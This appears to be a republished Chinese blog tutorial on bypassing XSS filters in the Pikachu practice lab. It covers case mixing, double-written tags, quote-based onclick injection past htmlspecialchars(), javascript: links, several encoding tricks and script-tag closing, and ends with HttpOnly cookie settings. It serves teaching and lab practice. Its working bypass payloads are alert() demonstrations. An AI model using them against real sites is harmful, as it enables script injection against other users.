【网络安全 --- XSS绕过】xss绕过手法及思路你了解吗?常见及常用的绕过手法了解一下吧

news2025/1/17 1:09:00

本次博客以pikachu靶场为例,需要安装靶场可以参考以下博客(都包含工具,镜像下载地址)

一,工具资源下载

1-1 VMware虚拟机的安装

请参考以下博客,包含资源下载地址(若已安装请忽略)

【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)-CSDN博客【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)https://blog.csdn.net/m0_67844671/article/details/133609717?spm=1001.2014.3001.5502

1-2 win2003系统安装

请参考以下博客,包含资源下载地址(若已安装请忽略)

【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)_网络安全_Aini的博客-CSDN博客【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)https://blog.csdn.net/m0_67844671/article/details/133675835?spm=1001.2014.3001.5502

1-3 pikachu靶场安装

请参考以下博客,包含资源下载地址(若已安装请忽略)

【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502

1-4 Burp Suite 抓包工具安装

请参考以下博客,包含资源下载地址(若已安装请忽略)

【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置-CSDN博客【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502

二,xss绕过方法

2-1  前端绕过

前端绕过很简单,因为前端浏览器代码是可以直接修改的,或者抓包以后可以修改数据包的,所以前端绕过直接抓包改一改数据包即可

2-2 大小写混写绕过

防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如我们看看代码文件

比如打来pikachu靶场源代码,看XSS_01.php文件 

 

发现通过正则对script字母进行了替换,这样我们就能把我们的script标签改为大写的形式SCRIPT  

比如,先用正常的payload试一下,比如下面这个

//再看pikachu, 
'"><script>alert('过不去啦!')</script>
// 被过滤了:没有弹框效果,

按回车发送请求以后没有任何效果,发现被过滤了 

 

所以我们可以试一下大小写绕过 

// 绕过: 
'"><sCRipT>alert('你打篮球像aini')</sCrIPt>

 

发现有弹框了,所以可以试一试大小写绕过 

 

上面讲解的知识思路,只是用了一个script标签演示了,或者别人不用script标签,用什么img、iframe标签之类的都可以尝试用大小写混写绕过

2-3 双写绕过

后台对输入的内容进行替换,采用拼拼凑的输入方法。

比如后台对'script'标签整体替换成了空字符串,如如下代码

比如 <script>alert(123)</script> 替换以后就变成了<>alert(123)</>

那我们可以双写绕过比如:

'"><sc<script>ript>alert('你打篮球像jaden')</scr<script>ipt>

这样以后script标签整体会被替换成空字符串,则前面的sc和后面的ript刚好拼接成了正确的标签

 

我没找到恰当的靶场例子,原理就差不多,也是一种思路 

2-4 XSS绕过之htmlspecialchars()函数

php里面的这个htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体,这个就很厉害了。

// 预定义的字符是:这就是我们学到的html编码
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt
// 导致你提交的script标签再输出的时候变成了
 &ltscript&gt

// 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

// 可用的quotestyle类型:
// ENT_COMPAT - 默认。仅编码双引号,也就是默认情况下不对单引号进行处理
// ENT_QUOTES - 编码双引号和单引号
// ENT_NOQUOTES - 不编码任何引号

2-4-1 默认双引号编码 

发现基本的payload过不去了 

我们看一看后端代码

发现用了htmlspecialchars()函数,而且默认只编码双引号

 

所以可使用以下语句绕过

q' οnclick='alert(111)'

发现是a标签,那么尝试构造一个onclick事件 

 输入payload以后回车,发现成功构造了一个a标签的onclick事件,点击看看

 发现成功弹出了111

 

2-4-2 对单引号编码

再看03的代码,改进了,将单引号也干掉了。我们再来试试刚才的代码,发现双引号,单引号都编码了

试一试刚才的payload

 q' οnclick='alert(111)'

 

结果如下,而且点击以后也没用

 

接下来就看看xss之href绕过: javascript:alert(1111)  

2-1 第一种

## 看一下编码处理:
javascript:alert(1111)     # 正常
javascript:alert('aini') # 正常
javascript:alert(/aini/) # 正常 

输入以下payload,点击submit 

 发现成功了

 

点击以后,可以看到弹框 

 下面两个自己试一下把,也是可以的

javascript:alert(1111)     # 正常
javascript:alert('aini') # 正常
javascript:alert(/aini/) # 正常 
 

2-2 第二种 

# 对alert中的内容进行unicode编码,也就是所谓的js编码
javascript:alert(\u0031\u0031\u0031\u0031) #不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框
javascript:alert('\u006a\u0061\u0064\u0065\u006e') #外层是引号的话,内容也可以正常解析,也没有弹框

我们就试一下中间的把

javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框

看到如下结果,其他两个自己试一下 

 

 2-3 其他
# 对alert中的内容进行html实体编码(ascii十进制编码)+url编码
javascript:alert(%26%2349%3B%26%2349%3B%26%2349%3B%26%2349%3B)   # 不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B/) # 内容不能解析,但是有弹框
javascript:alert('%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B') # 内容不能解析,也没有弹框
    
# 对整体进行html实体编码(ascii十进制编码)+url编码,不能解析
%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3
B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101
%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2349%3B%26%2349%3B%26%2349%
3B%26%2341%3B

# 对alert进行unicode编码 #可以解析执行
javascript:\u0061\u006c\u0065\u0072\u0074(1111)
    
# 对alert进行unicode编码+url编码 #可以解析执行
javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(1111)
    
#对javascript进行unicode编码+url编码 #不能解析执行
%5Cu006a%5Cu0061%5Cu0076%5Cu0061%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074:alert(1111)
# 对javascript进行unicode编码+url编码,不能解析&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1111) # 直接编码

## 不行解析
%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3
B%26%23105%3B%26%23112%3B%26%23116%3B:alert(1111)

我就试一试一个

# 对alert进行unicode编码 #可以解析执行
javascript:\u0061\u006c\u0065\u0072\u0074(1111) 

发现也是可以的 

 

2-5 编码绕过

思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的,所以需要研究浏览器到底能够将哪些编码数据能够正常解码显示),大家理解思路即可。到底浏览器能不能解析,谁也不能保准,因为浏览器也一直在升级,解析规则可能会发生变化。  

以下是编码的思路 

比如对alert内容进行过滤了,那么我们可以使用编码,如上面所说的,这是一个unicode编码

# 对alert中的内容进行unicode编码,也就是所谓的js编码
javascript:alert(\u0031\u0031\u0031\u0031) #不需要引号的数字弹框时,编码之后不能弹框
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) #外层是/的话,内容不能正常解析,但是可以弹框
javascript:alert('\u006a\u0061\u0064\u0065\u006e') #外层是引号的话,内容也可以正常解析,也没有弹框

<!--浏览器解析顺序是这样的,URL 解析器,HTML 解析器, CSS 解析器,JS解析器
URL的解码是在后台服务检测之前的,可以理解为后台收到URL后会自动进行解码,然后才是执行开发人员编写的对URL中的值的检测函数,首先URL编码作用不在于绕过后台检测,但是当我们是GET方式提交数据时,而我们提交的数据中进行了实体编码,也就意味着存在&,#这样的特殊字符,这时就需要对这些特殊字符进行URL编码,这样才会保证正常解析,如果不进行URL编码的话,就会把+认为是空格了,而&也会是被认为用来连接URL中参数的连接符,故需要进行URL编码。如果是以POST方式传递值,就不需要进行URL编码了。CSS解析器是用来解析CSS代码的,我们暂时先不做研究。我们重点看的是:
-->

   html实体编码(HTML解析器)&#十进制; 或者&#x十六进制;
   JS编码(JS解析器) \u00十六进制,也就是unicode编码

html相关的几种编码方式:
1、html实体编码
 <img src=# onerror="alert('aini')"/> --> &lt;img src=# onerror="alert('jaden')"/&gt;

2、使用十进制的ASCLL编码: 格式:以符号&#开头,分号;结尾
在线工具:
 http://tools.gree020.cn/ascii/
 https://tool.chinaz.com/tools/unicode.aspx

    <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

   注意,作为属性值的时候,外层的双引号不要编码。src=,属性和等于号也不要编码因为会破坏标签属性结构。
    <img src=x onerror=&#34;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41&#34;/>

3、unicode编码
    &#、&#x、\u 都可以用来表示一串 unicode 编码,unicode编码底层还是用二进制来存储的,显示一般用16进制来表示。
   \u开头和&#x开头是一样的都是16进制,只是unicode字符的不同写法,&#则是unicode字符的10进制的写法。
   \u形式:浏览器无法解析

    <img src=#onerror="\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u006a\u0061\u0064\u0065\u006e\u0027\u0029"/>&#x形式:浏览器可解析

    <img src=#onerror="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x006a;&#x0061;&#x0064;&#x0065;&#x006e;&#x0027;&#x0029;"/>
<!--
实体编码要在不破坏DOM树的构成,对于有语法结构的标签名、属性名、标签名就不能进行实体编码,对属性
的值,标签之间的文本节点能够进行实体编码,而JS编码只能对位于JS解析环境内字符进行编码且不能是括
号、双引号、单引号等构成特殊意义的特殊字符,比如alert(1)中的括号就不能进行实体编码,而且在JS编
码环境中不会进行实体编码解析,但有一个例外,在javascript伪协议中,比如test,即可以把
javascript:alert(‘test’);这一部分看成是标签a的属性href的值,从而能够进行实体编码会被正常实
体编码解析,又可以对alert或alert中的字符进行JS编码,但对alert中的字符编码没什么实际作用.
如果是输出到了js代码中,再由js代码输出到html中,那么js会先将unicode编码进行解析,然后再输出到
html中,这就有了html标签效果。如下:-->

<script>
var btn = document.getElementById('postsubmit');
btn.onclick = function(){
    var val = document.getElementById('xssr_in').value;
 var content = document.getElementById('content');
 
document.write("\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u00
65\u0072\u0074\u0028\u0031\u0032\u0033\u0029\u003b\u003c\u002f\u0073\u0063\u0072
\u0069\u0070\u0074\u003e");
}
</script>

 2-6 xss之js输出

我宿便输入了aini提交了

提交以后没什么反应,查看源代码发旋如下代码 

构建xss攻击代码, 前面的代码被 </script> 闭合了,后面我写了新的script标签内容  

1111'</script><script>alert('过不去啦!')</script>;
 // 闭合前面的script标签

输入payload回车以后发现过去了 

 

我们看看源代码吧,源代码成了这样

所以,前端代码还是不靠谱的,总是可以注入,因为可以构造。  

2-7 XSS之httponly绕过

httponly属性只能禁止浏览器通过document.cookie获取cookie,而不能有效阻止xss的发生

xss攻击手段获取cookie。

HttpOnly是包含在http响应头Set-Cookie里面的一个附加的标识,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话),大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。

如果HTTP响应标头中包含HttpOnly标志(可选),客户端脚本将无法访问cookie(如果浏览器支持该标志的话)。因此即使客户端存在跨站点脚本(XSS)漏洞,浏览器也不会将Cookie透露给第三方。但是如果浏览器不支持HttpOnly,并且后端服务器设置了HttpOnly cookie,浏览器也会忽略HttpOnly标志,从而创建传统的,脚本可访问的cookie。那么该cookie(通常是会话cookie)容易受到XSS攻击。这里大家要注意一个问题

httponly不是防止xss攻击的,而是防止xss攻击代码中的js代码在浏览器上获取cookie信息。

 

各语言设置cookie的httponly 的方式

java
 response.setHeader("Set-Cookie", "cookiename=value; 
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

                    
C#

   HttpCookie myCookie = new HttpCookie("myCookie");   myCookie.HttpOnly = true; 
  Response.AppendCookie(myCookie);  

PHP4
  
 setcookie('ant[uname]',$_POST['username'],time()+3600,NULL,NULL,NULL,true);

绕过手法就讲这么多。感兴趣可以自己查找资料,了解更多 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1107799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年知名国产数据库厂家汇总

随着信创国产化的崛起&#xff0c;大家纷纷在寻找可替代的国产数据库厂家。这里小编就给大家汇总了一些国内知名数据库厂家&#xff0c;仅供参考哦&#xff01; 2023年知名国产数据库厂家汇总 1、人大金仓 2、瀚高 3、高斯 4、阿里云 5、华为云 6、浪潮 7、达梦 8、南大…

基于java网上书城系统的设计与实现

1 绪 论 网上书城系统采用了一种ssm的开发框架。讨论该系统的需求分析&#xff0c;将系统分为两大模块。前台模块由五部分功能组成&#xff0c;而后台模块则由八部分功能组成。作为网上书城系统&#xff0c;它的设计目的是改变传统的图书销售模式&#xff0c;迎合当代主流需…

acwing算法基础之数据结构--KMP算法

目录 1 知识点2 模板 1 知识点 KMP算法已经集成到string类型的find()方法了&#xff0c; 但这里我们不用这个&#xff0c;我们自己来实现这个方法。 KMP算法的关键步骤&#xff1a; p[N]表示输入模式串&#xff0c;求取该模式串的ne[]数组。ne[i]表示前缀等于后缀的长度&…

电压放大器在电子实验中有哪些作用

电压放大器在电子实验中扮演着重要的角色&#xff0c;它可以实现对电压信号的放大&#xff0c;为实验提供所需的电压级别。下面是电压放大器在电子实验中的几个常见作用&#xff1a; 信号放大&#xff1a;电压放大器的主要作用是将输入信号的幅度放大&#xff0c;以便进行更准确…

AXI总线协议

总线&#xff1a;总线是传输数据的通道&#xff0c;由各种逻辑器件构成&#xff0c;一般由数据线、地址线、控制线等构成 接口&#xff1a;连接标准&#xff0c;又称之为物理接口i 协议&#xff1a;传输数据的规则 什么是AXI AXI(Advanced Extensible Interfece)是高级可扩展…

ModelCenter—多学科设计优化软件

产品概述 Ansys ModelCenter是美国Ansys公司旗下的一款产品&#xff0c;用于赋能工程师创建和自动化多工具工作流&#xff0c;优化产品设计。ModelCenter是一个创新的软件框架&#xff0c;可以灵活地满足基于模型的需求工程。在ModelCenter框架内工作&#xff0c;工程师能够将…

GDPU 数据结构 天码行空5

一、实验目的 1&#xff0e;掌握队列的顺序存储结构 2&#xff0e;掌握队列先进先出运算原则在解决实际问题中的应用 二、实验内容 仿照教材顺序循环队列的例子&#xff0c;设计一个只使用队头指针和计数器的顺序循环队列抽象数据类型。其中操作包括&#xff1a;初始化、入队…

安全典型配置(四)使用自反ACL实现单向访问控制案例

【微|信|公|众|号&#xff1a;厦门微思网络】 安全典型配置&#xff08;一&#xff09;使用ACL限制FTP访问权限案例_厦门微思网络的博客-CSDN博客 安全典型配置&#xff08;二&#xff09;使用ACL限制用户在特定时间访问特定服务器的权限-CSDN博客 安全典型配置&#xff0…

【Note】CNN与现代卷积神经网络part2(附Pytorch代码)

文章目录 1.4 多输入多输出通道1.4.1 多输入通道1.4.2 多输出通道1.4.3 11卷积层1.4.4 Summary 1.5 汇聚层1.5.1 最大汇聚层和平均汇聚层1.5.2 填充和步幅1.5.3 多个通道1.5.4 Summary 1.6 卷积神经网络&#xff08;LeNet&#xff09;1.6.1 LeNet1.6.2 模型训练1.6.3 Summary 本…

一篇文章让你两种方式调用星火大模型,搭建属于自己的“chatgpt”

申请 网址&#xff1a;星火大模型api注册链接 选择零元购 获取你专属的key、密钥、appid 方法1&#xff1a;使用jquery直接调用 html: //应用插件-此插件用于对url编码加密&#xff0c;资源包已经上传&#xff0c;审核通过后&#xff0c;会在顶部显示<script src"…

三级分类部分三级目录无法加载,后端接口能在前端返回所有数据

项目场景&#xff1a; 实现ElementUI中三级分类的功能&#xff0c;发现没有前端三级目录的二级目录可以新建三级目录&#xff0c;数据库中也有数据&#xff0c;但是无法在前端显示&#xff01;后端的接口没有返回数据库的数据。 问题描述 提示&#xff1a;这里描述项目中遇到…

MySQL数据库varchar字段求和出现精度丢失

问题描述 在MySQL数据库中&#xff0c;将varchar字段用于数值运算时&#xff0c;会将其转换为数值类型进行计算。然而&#xff0c;由于varchar字段的可变长度特性&#xff0c;可能存在数值精度丢失的问题。 我用varchar类型存储学生的分数&#xff0c;分数有两位小数&#xff…

新业务场景如何个性化配置验证码?

验证码作为人机交互界面经常出现的关键要素&#xff0c;是身份核验、防范风险、数据反爬的重要组成部分&#xff0c;广泛应用网站、App上&#xff0c;在注册、登录、交易、交互等各类场景中发挥着巨大作用&#xff0c;具有真人识别、身份核验的功能&#xff0c;在保障账户安全方…

Cron表达式每隔两小时执行一次

Cron表达式每隔两小时执行一次 0 0 */2 * * ?验证正确性

7.自定义凸多边形

愿你出走半生,归来仍是少年&#xff01; 在Gis中常用的地物表达包含点线面&#xff0c;三维场景中可通过立方体的形式表达面妆物体&#xff0c;例如房屋等等。在Unity中为提供多边形的构建对象&#xff0c;此处通过wkt构建出在三维场景中的基于面的立方体。 通过传入wkt、底部高…

【数据结构与算法】JavaScript实现栈结构(Stack)

文章目录 一、前言1.1.什么是数据结构&#xff1f;1.2.什么是算法&#xff1f; 二、栈结构&#xff08;Stack&#xff09;2.1.简介2.2.封装栈类 一、前言 1.1.什么是数据结构&#xff1f; 数据结构就是在计算机中&#xff0c;存储和组织数据的方式。 例如&#xff1a;图书管…

功率放大器如何驱动超声波换能器

驱动超声波换能器的功率放大器在超声波应用中起着至关重要的作用。它能够提供足够的功率和精确的信号控制&#xff0c;使换能器能够有效地将电能转换为超声波能量。下面安泰电子将介绍功率放大器如何驱动超声波换能器的原理和关键要点。 首先&#xff0c;让我们了解一下超声波换…

2021款别克英朗,汽车空调使用方法

2021款别克英朗&#xff0c;汽车空调使用方法 今天就给大家一起交流探讨一下别克英朗2021款1.5L配置的汽车空调该如何正确使用。 别克英朗2021款1.5L配置的空调为手动空调&#xff0c;所有的空调操作都需要我们自己判断&#xff0c;比如如何正确使用制冷制热&#xff0c;内外循…

如何理解交通部EDI报文:舱单报文IFCSUM

舱单报文IFCSUM的发送方向 发送方&#xff1a;船公司、船舶代理 接收方&#xff1a;集装箱码头、理货、港监等 舱单报文IFCSUM的功能 此文件对应IFCSUM报文的舱单子集&#xff0c;提供某一航次运输货物的信息&#xff0c;说明承运人、运输方式、运输工具、设备及联运货物的细…

大模型的实践应用2-基于BERT模型训练医疗智能诊断问答的运用研究,协助医生进行疾病诊断

大家好,我是微学AI,今天给大家介绍一下大模型的实践应用2-基于BERT模型训练医疗智能诊断问答的运用研究,协助医生进行疾病诊断。医疗大模型通过收集和分析大量的医学数据和临床信息,能够协助医生进行疾病诊断、制定治疗方案和评估预后等任务。利用医疗大模型,可以帮助医生…